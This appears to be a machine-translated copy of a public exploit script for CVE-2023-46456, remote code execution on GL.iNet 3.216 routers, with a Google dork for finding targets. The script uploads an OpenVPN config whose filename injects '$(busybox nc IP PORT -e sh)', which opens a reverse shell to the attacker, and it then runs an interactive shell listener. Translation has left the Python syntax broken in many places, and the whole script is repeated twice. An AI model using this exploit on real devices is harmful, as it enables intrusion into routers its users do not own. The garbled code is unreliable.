#!/usr/bin/env Python3
#利用title: gl.inet=3.216通过OpenVPN客户端执行远程代码
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: XX/11/2023
#利用作者: Michele'Cyberaz0r'di bonaventura
#供应商homepage3360 https://www.gli-net.com
#软件链接: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-16799391449.tar
#版本: 3.216
#测试在: GL.Inet AR300M
#CVE: CVE-2023-46456
导入套接字
导入请求
导入阅读线
从时间进口睡眠
从随机导入randint
从系统导入的stdout,argv
从线程导入线程
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.insecurreequestwarning)
def generate_random_string():
返回'。
def add_config_file(url,auth_token,有效载荷):
data={'file':('{}'。格式(有效载荷),'client \ ndev tun \ nproto udp \ nremote 127.0.0.0.0.1 1194 \ nscript-security 2')}
TRY:
r=requests.post(url,files=data,headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
requests.exceptions.requestexception:除外
打印('[x]添加配置文件时[x]错误')
返回false
返回true
def verify_config_file(url,auth_token,有效载荷):
TRY:
r=requests.get(url,headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
如果不是R.JSON()['vasse']和有效载荷,则不在r.json()['vasse'] :中
返回false
requests.exceptions.requestexception:除外
print('[x]错误验证配置文件的上传')
返回false
返回true
def add_client(url,auth_token):
postData={'descript
TRY:
r=requests.post(url,data=postdata,headers={'授权':Auth_token},verify=false)
R.RAISE_FOR_STATUS()
requests.exceptions.requestexception:除外
print('[x]添加OpenVPN客户端时[x]错误')
返回false
返回true
def get_client_id(url,auth_token,有效载荷):
TRY:
r=requests.get(url,headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
对于r.json()['客户'] :的conn
如果conn ['defaultserver']==payload:
返回conn ['id']
打印('[x] error:找不到客户端ID')
返回false
requests.exceptions.requestexception:除外
打印('[x]错误时添加OpenVPN客户端ID')
返回false
def connect_vpn(url,auth_token,client_id):
睡眠(0.25)
postData={'ovpnClientID':Client_id,'enableOvpn':'true','force_client':'false'}
r=requests.post(url,data=postdata,headers={'授权':Auth_token},verify=false)
def清理(url,auth_token,client_id):
TRY:
r=requests.post(url,data={'clientID':client_id},headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
requests.exceptions.requestexception:除外
打印('[x]清理OpenVPN客户端时错误')
返回false
返回true
def get_command_response(s):
res=''
而true:
TRY:
resp=s.recv(1).decode('utf-8')
res +=res
除非Unicodedecodeerror:
经过
除了socket.TimeOut:
休息
返回res
DEF REVSHELL_LISTEN(REVSHELL_IP,REVSHELL_PORT):
s=socket.socket(socket.af_inet,socket.sock_stream)
S.SetTimeOut(5)
TRY:
s.bind((RevShell_ip,int(RevShell_port)))
S.Listen(1)
除异常外,E:
brint('[x]异常'{}'在绑定反向shell'.format(type(e).__ name __)时遇到
出口(1)
TRY:
clsock,claddr=s.accept()
clsock.setTimeout(2)
如果Clsock:
print('[+]从{}} : {},loes;)'。格式(caddr [0],claddr [1]))打印('[+]接收反向外壳连接
res=''
而true:
命令=输入('$')
clsock.sendall('{} \ n'.format(命令).encode('utf-8'))
stdout.write(get_command_response(clsock))
除了socket.TimeOut:
打印('[ - ]在5秒内未收到连接,可能服务器并不容易受到攻击.')
s.close()
除了键盘Interrupt:
打印('\ n [*]关闭连接')
TRY:
clsock.close()
除了socket.Error:
经过
除了名称Error:
经过
s.close()
def main(base_url,auth_token,revshell_ip,revshell_port):
print('[+]启动gl.inet=3.216 OpenVPN client client fileName rce exploit')
pareload='$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip,revshell_port)
print('[+]文件名有效:'{}''。格式(有效载荷))
print('[*]上传制作的OpenVPN配置文件')
如果不是add_config_file(base_url+'/api/ovpn/client/upload',auth_token,有效载荷):
出口(1)
如果不是verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck',airt_token,有效载荷):
出口(1)
打印('[+]文件成功上传')
打印('[*]添加OpenVPN客户端')
如果不是add_client(base_url+'/cgi-bin/api/ovpn/client/addnew',auth_token):
出口(1)
client_id=get_client_id(base_url+'/cgi-bin/api/ovpn/client/list',auth_token,有效载荷)
如果不是client_id:
出口(1)
打印('[ +]客户端ID:' + client_id)
打印('[*]触发连接到创建的OpenVPN客户端')
线程(target=connect_vpn,args=(base_url+'/cgi-bin/api/ovpn/client/set',auth_token,client_id))。开始()
print('[*]在{} : {}'。格式(RevShell_ip,revshell_port)上启动反向外壳)
RevShell_listen(RevShell_ip,RevShell_port)
打印('[*]通过删除OpenVPN连接清理')
如果没有清理(base_url+'/cgi-bin/api/ovpn/client/emover',auth_token,client_id):
出口(1)
打印('[+]完成')
如果name=='__ -Main __':
如果Len(argv)5:
print('USAGE: {} target_url auth_token revshell_ip revshell_port'.format(argv [0]))
出口(1)
main(argv [1],argv [2],argv [3],argv [4])
#利用title: gl.inet=3.216通过OpenVPN客户端执行远程代码
#Google Dork: Intitle:'gl.Inet管理面板'
#日期: XX/11/2023
#利用作者: Michele'Cyberaz0r'di bonaventura
#供应商homepage3360 https://www.gli-net.com
#软件链接: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-16799391449.tar
#版本: 3.216
#测试在: GL.Inet AR300M
#CVE: CVE-2023-46456
导入套接字
导入请求
导入阅读线
从时间进口睡眠
从随机导入randint
从系统导入的stdout,argv
从线程导入线程
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.insecurreequestwarning)
def generate_random_string():
返回'。
def add_config_file(url,auth_token,有效载荷):
data={'file':('{}'。格式(有效载荷),'client \ ndev tun \ nproto udp \ nremote 127.0.0.0.0.1 1194 \ nscript-security 2')}
TRY:
r=requests.post(url,files=data,headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
requests.exceptions.requestexception:除外
打印('[x]添加配置文件时[x]错误')
返回false
返回true
def verify_config_file(url,auth_token,有效载荷):
TRY:
r=requests.get(url,headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
如果不是R.JSON()['vasse']和有效载荷,则不在r.json()['vasse'] :中
返回false
requests.exceptions.requestexception:除外
print('[x]错误验证配置文件的上传')
返回false
返回true
def add_client(url,auth_token):
postData={'descript
TRY:
r=requests.post(url,data=postdata,headers={'授权':Auth_token},verify=false)
R.RAISE_FOR_STATUS()
requests.exceptions.requestexception:除外
print('[x]添加OpenVPN客户端时[x]错误')
返回false
返回true
def get_client_id(url,auth_token,有效载荷):
TRY:
r=requests.get(url,headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
对于r.json()['客户'] :的conn
如果conn ['defaultserver']==payload:
返回conn ['id']
打印('[x] error:找不到客户端ID')
返回false
requests.exceptions.requestexception:除外
打印('[x]错误时添加OpenVPN客户端ID')
返回false
def connect_vpn(url,auth_token,client_id):
睡眠(0.25)
postData={'ovpnClientID':Client_id,'enableOvpn':'true','force_client':'false'}
r=requests.post(url,data=postdata,headers={'授权':Auth_token},verify=false)
def清理(url,auth_token,client_id):
TRY:
r=requests.post(url,data={'clientID':client_id},headers={'授权':auth_token},verify=false)
R.RAISE_FOR_STATUS()
requests.exceptions.requestexception:除外
打印('[x]清理OpenVPN客户端时错误')
返回false
返回true
def get_command_response(s):
res=''
而true:
TRY:
resp=s.recv(1).decode('utf-8')
res +=res
除非Unicodedecodeerror:
经过
除了socket.TimeOut:
休息
返回res
DEF REVSHELL_LISTEN(REVSHELL_IP,REVSHELL_PORT):
s=socket.socket(socket.af_inet,socket.sock_stream)
S.SetTimeOut(5)
TRY:
s.bind((RevShell_ip,int(RevShell_port)))
S.Listen(1)
除异常外,E:
brint('[x]异常'{}'在绑定反向shell'.format(type(e).__ name __)时遇到
出口(1)
TRY:
clsock,claddr=s.accept()
clsock.setTimeout(2)
如果Clsock:
print('[+]从{}} : {},loes;)'。格式(caddr [0],claddr [1]))打印('[+]接收反向外壳连接
res=''
而true:
命令=输入('$')
clsock.sendall('{} \ n'.format(命令).encode('utf-8'))
stdout.write(get_command_response(clsock))
除了socket.TimeOut:
打印('[ - ]在5秒内未收到连接,可能服务器并不容易受到攻击.')
s.close()
除了键盘Interrupt:
打印('\ n [*]关闭连接')
TRY:
clsock.close()
除了socket.Error:
经过
除了名称Error:
经过
s.close()
def main(base_url,auth_token,revshell_ip,revshell_port):
print('[+]启动gl.inet=3.216 OpenVPN client client fileName rce exploit')
pareload='$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip,revshell_port)
print('[+]文件名有效:'{}''。格式(有效载荷))
print('[*]上传制作的OpenVPN配置文件')
如果不是add_config_file(base_url+'/api/ovpn/client/upload',auth_token,有效载荷):
出口(1)
如果不是verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck',airt_token,有效载荷):
出口(1)
打印('[+]文件成功上传')
打印('[*]添加OpenVPN客户端')
如果不是add_client(base_url+'/cgi-bin/api/ovpn/client/addnew',auth_token):
出口(1)
client_id=get_client_id(base_url+'/cgi-bin/api/ovpn/client/list',auth_token,有效载荷)
如果不是client_id:
出口(1)
打印('[ +]客户端ID:' + client_id)
打印('[*]触发连接到创建的OpenVPN客户端')
线程(target=connect_vpn,args=(base_url+'/cgi-bin/api/ovpn/client/set',auth_token,client_id))。开始()
print('[*]在{} : {}'。格式(RevShell_ip,revshell_port)上启动反向外壳)
RevShell_listen(RevShell_ip,RevShell_port)
打印('[*]通过删除OpenVPN连接清理')
如果没有清理(base_url+'/cgi-bin/api/ovpn/client/emover',auth_token,client_id):
出口(1)
打印('[+]完成')
如果name=='__ -Main __':
如果Len(argv)5:
print('USAGE: {} target_url auth_token revshell_ip revshell_port'.format(argv [0]))
出口(1)
main(argv [1],argv [2],argv [3],argv [4])